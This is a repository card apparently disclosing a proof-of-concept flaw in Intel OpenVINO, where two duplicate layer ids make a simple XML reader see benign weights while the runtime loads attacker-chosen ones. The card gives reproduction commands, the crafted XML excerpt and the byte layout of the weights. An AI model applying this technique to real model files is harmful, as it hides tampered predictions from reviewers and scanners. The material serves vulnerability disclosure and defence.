You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

OpenVINO IR duplicate layer id β€” reader differential PoC

Vulnerability class: Model File Vulnerability (MFV) β€” format-level reader differential
Target: Intel OpenVINO
Tested version: openvino 2024.6.0

Summary

An OpenVINO IR model (.xml + .bin) can contain two <layer> elements with the same id attribute in its topology XML. In the tested runtime path, OpenVINO resolves the duplicate to the later layer definition and reads the weight bytes at that layer's .bin offset. A reviewer or script using xml.etree.ElementTree.find() returns the first matching layer and reads the weight bytes at the first layer's offset.

By placing benign weights at the first layer's offset (what a first-match XML reader sees) and attacker-controlled weights at the second layer's offset (what the OpenVINO runtime uses), a crafted model can produce manipulated predictions while appearing benign to simple inspection.

ModelScan 0.8.8 has no OpenVINO IR scanner β€” the format is not covered and the files are not scanned.

Files

File Description
benign.xml + benign.bin Reference model: 2Γ—2 identity matrix, output = input
dup_layer_last.xml + dup_test.bin Crafted model: duplicate <layer id="1"> β€” first at offset=0 (benign), second at offset=16 (99Γ— scale)
reproduce.py Verifies the reader differential and output manipulation
requirements.txt Python dependencies

Reproduction

pip install -r requirements.txt
python reproduce.py

Expected output

OPENVINO_LAST_LAYER_WINS=True
PYTHON_ET_FIND_FIRST=True
OUTPUT_FLIP_CONFIRMED=True
  benign=1.0  crafted=99.0  delta=98.0

ET.find() sees: offset=0 weights (benign identity):
  [[1. 0.]
   [0. 1.]]

MODELSCAN_RESULT=0 issues / not scanned (no OpenVINO scanner)

=== Prediction table ===
Model                                Output
benign.xml                    [[1.0, 2.0]]
dup_layer_last.xml         [[99.0, 198.0]]  <- C++ used last (crafted)

[PASS] All checks passed.

Mechanism

In dup_layer_last.xml, the <layers> block contains two entries for id="1":

<!-- First layer id=1: benign identity weights at offset=0 -->
<layer id="1" name="weights" type="Const" version="opset1">
    <data element_type="f32" shape="2, 2" offset="0" size="16" />
    ...
</layer>

<!-- Second layer id=1: 99x scale weights at offset=16 -->
<layer id="1" name="weights" type="Const" version="opset1">
    <data element_type="f32" shape="2, 2" offset="16" size="16" />
    ...
</layer>

dup_test.bin contains:

  • bytes 0–15: identity matrix [[1.0, 0.0], [0.0, 1.0]] (benign β€” first-match reader sees)
  • bytes 16–31: scale matrix [[99.0, 0.0], [0.0, 99.0]] (crafted β€” OpenVINO runtime uses)

The model loads without error or warning from the OpenVINO runtime.

Reader comparison

Reader API Resolution Weights loaded
Python ElementTree.find() .find('.//layer[@id="1"]') first match identity (benign)
OpenVINO C++ runtime Core().read_model() last match 99Γ— scale (crafted)
ModelScan 0.8.8 .scan() not scanned 0 issues
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support